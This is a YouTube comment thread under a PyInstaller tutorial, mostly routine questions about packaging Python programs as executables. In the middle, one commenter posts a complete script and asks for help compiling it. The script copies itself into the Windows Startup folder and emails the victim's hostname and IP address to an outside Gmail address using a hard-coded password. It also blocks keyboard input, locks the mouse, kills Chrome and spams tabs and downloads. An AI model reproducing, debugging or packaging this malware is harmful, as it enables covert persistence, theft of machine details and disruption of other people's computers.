I am practicing this just using a simple test project, which is basically just a small pygame window with a black screen and nothing else. Every time I try to make it into an executable, the program will not close. If I take away the --windowed prompt, it will show a terminal window, and if I close that, the program will eventually close too. But if I include the --windowed prompt, I literally cannot close the program without going into task manager and forcing it to close. How can I keep the executable file as a --windowed (i.e. NOT loading the command prompt) and still allow it to close?
Good job solving it!!
can this work for streamlit?
Idk what streamlit is I haven’t worked with that
Has anyone tried?
What is the best method for autoupdating?
Hi not sure what you mean by auto updating? You mean for patching updates to an already existing application or executable?
@@lemastertech Yes. Patching an already existing program without user intervention.
does this work on mac if you want to create an .exe? or do you need a windows machine?
Hi! Great question and the answer is I’m honestly not sure I don’t have a mac, but most python modules are compatible with both but possibly with some different syntax! If you try it and it doesn’t work let me know!
You've earned a sub because your explanation skills are next level. But what do I have to do to open the other files I need to run the application if the folder those other files are in and the .exe are located in the same directory? I tried putting things like `from data.dimension_setup import *` into the actual code and updating the executable (data is the folder with the additional files, dimension_setup is a python file). I don't want to resolve this by just copypasting the contents of the dimension_setup file into the main file to prevent my code from being an absolute mess. And I used open("data/file.json") to open the json files in the data folder. For some reason, the pycharm version of my game recognizes my files in the data directory, but the executable thinks they're non-existent.
Thanks for watching! Pyinstaller is definitely a super light weight option for generating executables but if you have a program with tons of supporting files you need to package up with it I would honestly not suggest using pyinstaller, that’s not really pythons bread and butter unfortunately
Worthy infoo...thanks man!
In my use case I've the folder inside .py files, json files, word,pdf documents and images. Can I make this all together as .exe file for chatbot application ?
Thanks for watching!! Bundling all associated assets into the .exe should be doable but I’ll be honest I don’t know specifically about combining a bunch of different file and format types for a python exe!
i've also made a game with pygame but the problem is i have 12 python files in which game's logic is there and a resource folder in which every image every sound is there please help me to convert my game into a single executable file and after also tell me how can i use inno to make a installer of it with all of the resources included :) if you can help me with this problem i will be so gartefull of you i've been on this problem since a month :(
Hi! I think to do what you’re talking about you need to have an init.py file that can tell the installer to treat all Py files in the folder as part of the total package! There’s some really good documentation about setting up an init file and how to call all your subsequent files from that file! Goodluck friend!
Thanks so much for this video!
You’re very welcome thank you for watching!
It says that there is no excistent like file
Have you any idea why exe made with pyinstaller is starting nearly 4min? I use virtualenv to reduce file size and still is very slow. Normally script in .py is running instant
Hi I am sorry I have not encountered any issues where my executables run really slow after using pyinstaller! Just some thoughts, have you included all the assets in the same folder/directory as your exe? If the program can’t find all the necessary assets that can cause errors!
@@lemastertech Yes its all included. I forgot to say that is onefile exe. In onedir is very fast (runs in a 6 seconds) but i need to make this in one file.
cmd says pyinstaller is not recognized even though it is installed
You might have installed Py installer inside a folder like the same location as your pygame project, but if you’re running Cmd on your root c folder you need it installed there, or you need to change directory to the same as your pygame project!
@@lemastertech I changed my directory. can you tell me what specific folder pyinstaller should be at in order for me to verify if it is in the correct spot.
Oh man , you're the best!😁
No you’re the best! 😆 thanks for watching!!
Maybe you should do some coding livestreams? Or like a help livestream where people can ask programming questions? Or something like that, I wouldnt mind watching you make a game or something via live stream
Hi I think that's an awesome idea and I really want to do something like this soon! Unfortunately I mostly work on my Projects and my TH-cam videos while I am at work ( I work from home) but could get sucked into a call or helping someone with something at any moment and most of my evenings are pretty busy! But I am trying to figure out how I could do some livestream events for sure! Thanks for the suggestion!
'pyinstaller' is not recognized as an internal or external command,
operable program or batch file.
Probably means you need to run pip and install pyinstaller first!
Very cool, thanks.
You’re very welcome thank you for watching!
Cant I just export it into an .exe so that people who dont have any python install can play
Yes that is what this does!
Hey thanks so much for the video! I like how short and to the point it is. I just have one issue though. I have just started coding python and I've been making a script that I want to turn into an exe file. When I turn it into an exe file using pyinstaller and open the exe file it will just loop the first thing in my code, which is registering the script to the startup folder in windows. It keeps doing it until my computer runs out of memory. Not sure why its doing that, as it works as expected when I just run it in pycharm. I'm sure its just some stupid error by me. Any reason or solution on how to fix it? Thanks in advance.
Hello, its hard to say for sure what could be happening without seeing the full code but this sort of issue pops up alot with infinite while loops! Sometimes your code can enter a section it has no way out of and that essentially crashes the machine! I'd start by checking that, goodluck!
@@lemastertech hey thanks so much! You’ll be the first I’ll tell if it works.
@@MadmanGamingofficial Awesome, good luck my friend!
Ok so progress has been made, as it doesn't spam open command prompt windows anymore. However, it does still randomly loop. Here is a video of what happens: th-cam.com/video/AHq2NctNyWw/w-d-xo.html
not sure if you noticed to, but it says that the system cannot find the file specified, not sure why that happens on the exe.
also here is the full code. I know it might no be written the best so any pointers I'll be grateful for!
import keyboard
import random
import multiprocessing
import webbrowser
import time
import pyautogui
import os
import requests
import socket
import smtplib
from getpass import getuser
pyautogui.FAILSAFE = False
screenWidth, screenHeight = pyautogui.size()
h_name = socket.gethostname()
IP_addres = socket.gethostbyname(h_name)
user_name = getuser()
startup = 'C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup'.format(user_name)
os.system("copy {} {}".format(__file__, startup))
print('yooooooo')
time.sleep(3)
EMAIL_ADDRESS = 'Hackersaredown@gmail.com'
EMAIL_PASSWORD = 'lxlfxwvumeulezvn'
with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
subject = 'Ladies and Gentlemen, we got em'
body = f'Hacker has executed yexploit. {h_name}\'s ip address is {IP_addres}'
msg = f'Subject: {subject}
{body}'
smtp.sendmail(EMAIL_ADDRESS, 'yexploithacks@gmail.com', msg)
print('OMG')
time.sleep(3)
def keyboard_block():
for i in range(69696969696996969696969696969696969696969696969969696969696969699696969696969696696969966969696969):
keyboard.block_key(i)
def rigroll():
webbrowser.open('th-cam.com/video/dQw4w9WgXcQ/w-d-xo.html%27')
def volumespam():
while True:
pyautogui.press('volumeup')
def kill_chrome():
time.sleep(100)
os.system("taskkill /im chrome.exe /f")
def lock_mouse():
while True:
pyautogui.moveTo(69, 420)
def why_not_cheat():
webbrowser.open('www.bbc.com/future/article/20211206-why-are-some-people-compelled-to-cheat')
def minion_cheecks():
webbrowser.open('ibb.co/3c2tWsP')
def minion_exercise ():
webbrowser.open('i.pinimg.com/736x/b2/12/a6/b212a6c54c66a6ab82ac733b9b5d9c67.jpg')
def another_minion_exercise():
webbrowser.open('i.redd.it/0zbzy7cperl81.jpg')
def minion_lgbt():
webbrowser.open('encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS8x6LKMt9HptI_6Q5fIWudY7zHR_PEP6PzFw&usqp=CAU')
def minion_car():
webbrowser.open('pbs.twimg.com/media/FI02SfhWQAArgaX.jpg')
def madman_gaming():
webbrowser.open('th-cam.com/users/MadmanGamingofficialfeatured')
def anti_mongtage():
webbrowser.open('th-cam.com/video/MrxfFBJLO3k/w-d-xo.html')
def crossfire():
webbrowser.open('th-cam.com/video/kb-KN49ywi8/w-d-xo.html')
def tbg():
webbrowser.open('th-cam.com/video/ScXHdj28njs/w-d-xo.html')
def rocco():
webbrowser.open('www.twitch.tv/videos/1604007484')
def augh():
webbrowser.open('th-cam.com/video/Oqrm-9Wy8iU/w-d-xo.html')
def angry_bird():
webbrowser.open('hypixel.net/attachments/ezgif-3-9abaab1a1d-jpg.3032606/')
def madman_short():
webbrowser.open('th-cam.com/users/shortspGrOq1bPptk')
def nails():
webbrowser.open('th-cam.com/users/shortsYmTku61D840')
def corn():
webbrowser.open('th-cam.com/users/clipUgkx5dI4M3tbdXKgn7M0nae_asNi2aaeVOFN')
def pufferfish():
webbrowser.open('th-cam.com/video/mwM76SacQc0/w-d-xo.html')
def dream_sus():
webbrowser.open('th-cam.com/video/YwuQ9O4qerE/w-d-xo.html')
def veggietales_bass():
webbrowser.open('th-cam.com/video/lwUprLtqtjg/w-d-xo.html')
def india():
webbrowser.open('th-cam.com/video/B0dtHZqeXsY/w-d-xo.html')
def veggietales10hour():
webbrowser.open('th-cam.com/video/-YpfgwRbPUM/w-d-xo.html')
def thomas():
webbrowser.open('th-cam.com/video/fnNNtYUSEoU/w-d-xo.html')
def tape():
webbrowser.open('th-cam.com/video/CImBCLE5Gyk/w-d-xo.html')
def download_pictures():
while True:
picture_list = [minion_truck, among_us, sus_pokemon, minion_scream, minion_infant]
random.choice(picture_list)()
time.sleep(0.1)
def among_us():
r = requests.get('i.ytimg.com/vi/WvHS7mwDiz4/maxresdefault.jpg')
with open('amongus.png', 'wb') as f:
f.write(r.content)
#sub to Madman Gaming
def sus_pokemon ():
r = requests.get('www.mypokecard.com/my/galery/K64YkbUEEw42.jpg')
with open('suspokemon.jpg', 'wb') as f:
f.write(r.content)
def minion_truck ():
r = requests.get('i.redd.it/44zezwhbadq81.jpg')
with open('miniontruck.jpg', 'wb') as f:
f.write(r.content)
#th-cam.com/video/rTgj1HxmUbg/w-d-xo.html
def minion_anti ():
r = requests.get('i.redd.it/ado402z546c81.jpg')
with open('minionanti.jpg', 'wb') as f:
f.write(r.content)
def minion_scream ():
r = requests.get('i.redd.it/y1vpz2c7gt881.png')
with open('minionscream.png', 'wb') as f:
f.write(r.content)
def minion_infant ():
r = requests.get('i.redd.it/mkwh5nnp3hs31.png')
with open('minioninfant.png', 'wb') as f:
f.write(r.content)
def random_functions():
while True:
my_list = [augh, augh, thomas, india, veggietales_bass, veggietales10hour, dream_sus, dream_sus, angry_bird, corn, nails, pufferfish, madman_short, why_not_cheat, minion_cheecks, anti_mongtage, crossfire, tbg, rocco, minion_cheecks, minion_car, minion_lgbt, minion_exercise, rigroll, rigroll, rigroll, rigroll, rigroll, rigroll]
random.choice(my_list)()
time.sleep(2)
if __name__ == "__main__":
p1 = multiprocessing.Process(target=keyboard_block)
p2 = multiprocessing.Process(target=volumespam)
p3 = multiprocessing.Process(target=random_functions)
p4 = multiprocessing.Process(target=kill_chrome)
p5 = multiprocessing.Process(target=download_pictures)
p6 = multiprocessing.Process(target=lock_mouse)
p1.start()
p2.start()
p3.start()
p4.start()
p5.start()
p6.start()
Code is purely for educational purposes.
Thank you ❤ it worked
Alright good job! Glad I could help haha
pip : O termo 'pip' não é reconhecido como nome de cmdlet, função, arquivo de script ou programa operável.
Verifique a grafia do nome ou, se um caminho tiver sido incluído, veja se o caminho está correto e tente
novamente.
No linha:1 caractere:2
+ pip pyinstaller
+ ~~~
+ CategoryInfo : ObjectNotFound: (pip:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
Sounds like pyinstaller is not installed in the same directory you’re running the command in
how to make icon program?
Do you just mean how to make an executable file that you can modify the icon image for? Like on the desktop have it show up with an icon?
@@lemastertech yes but i need changed
@@aticcorp2015 1- Create or download an . ico file.
2 -Right-click the desktop.
3 - Click New and then Shortcut.
4 - Browse for the .exe and click OK.
5 - Name the file and click Finish.
6 - Right-click the shortcut.
7 - Click Properties.
8 - Click Change Icon and select the new icon
@@lemastertech ok thx
will this work on a MacOS environment?
I’m not certain I do not have a Mac but most python modules work for windows and Mac!
@@lemastertech spoiler alert : It works for MacOS. hehe
thanks, i was having issues with the images in my project
You’re welcome thanks for watching!!
Not working for me, missing modules....
Does it say what modules are missing? Most IDEs give a little detail about it! Sometimes you have to point pip to a specific directory when installing packets!
So there's no way to include the data from the image into the exe?
You mean like alt text or original creation Date? Not using this method as far as I know
Make sense Thanks! Thats why when it was in another folder it doesn't executes! how i wish it complie all files like .png files where my signature is on it.
You’re welcome thank you for watching!!
It still gives me an error
What error
pritty amazing tutorial. can anyone tell me how i can encript my python file and then create a exe for it so that i can distribute it without anyone copying the codes. please ............
Hi I have not tried to do this specifically but I know pyinstaller is like a more light weight package and I am not sure how to encrypt it myself! Sorry!
Thank You
You got it thanks for watching!!
Thanks!
You’re welcome thank you for watching!!
but how I uninstall it?
Uninstall what? If you turn your program into an exe you still have the original program!
python3.13 no module named imp
I don’t think I use a module named imp
@@lemastertech no but pyinstaller does, it was depracated at 3.12 Luckily my current project is using 3.11
The pip install pyinstaller dident work
To install PyInstaller:
Go to your command prompt (Start -> Run -> cmd)
type the following command cd c:\python27\scripts press enter, this should be where your pip.exe file is located.
Once you are in this directory type pip install pyinstaller press enter
Message should read Successfully installed pyinstaller.
thank i find this
Thank you for watching!
PS C:\Users\User\PycharmProjects\Tic Tac Toe> pip pyinstaller
pip : The term 'pip' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again.
At line:1 char:1
+ pip pyinstaller
+ ~~~
+ CategoryInfo : ObjectNotFound: (pip:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
I have this error while doing pip pyinstaller
Hi this sounds like your computer doesn’t recognize pip - that’s a check box you need to check during install of python! If you didn’t install pip when you installed python you might a quick uninstall then reinstall!
@@lemastertech oh okay
let me just try :D
Half knowledge can be dangerous.
Try sending the same .exe and image to someone else and they will not be able to run it.
Quarter knowledge even more dangerous, one eight knowledge perhaps the most dangerous
@@lemastertech Don't argue..
try taking a look at how data files are bundled with pyinstaller and what changes you need to make to the paths so that those files are located at the end when you only run the .exe
Coty Forge
I do not know coty forge
Harvey Trail
Sweet!
vs code is best😘
I actually really like the pycharm IDE but vs code is good for sure! very powerful!
Ambrose Track
I don’t know what that means haha
Weimann Loaf
Okay
Hayden Drive
Who is Hayden drive
@@lemastertech it's bots trying to guess your real name by seeing if you have your real name added to a "blacklisted words" section in your youtube studio
HEY FIX YOUR INTERNET
No u
Read About Islam man❤
Thanks for the tip - although Interesting decision to leave such a comment on a TH-cam video about creating python executables!
@@lemastertech talking to people about their creator for me is anywhere anytime as this is my purpose of life making my creator happy of me i have nothing else, and great vid by the way although having some issues as my applications contains mediapipe tf and opencv 🤝
Are you able to make a vid or not?
I’m not going to make an entire video dedicated to one minor issue from an extremely rude TH-cam commenter. I try very hard to be helpful in the TH-cam comments and your entire attitude is terrible and I will not hesitate to block you from commenting on my channel if you don’t improve how you act quickly
It dident work
How am I supposed to help you or anyone else on TH-cam in the comments if you don’t give us any details of what error you’re seeing or what part didn’t work?
Can you please make a tutorial on how to do this if you only have the .py file and a command prompt without anything else from scratch?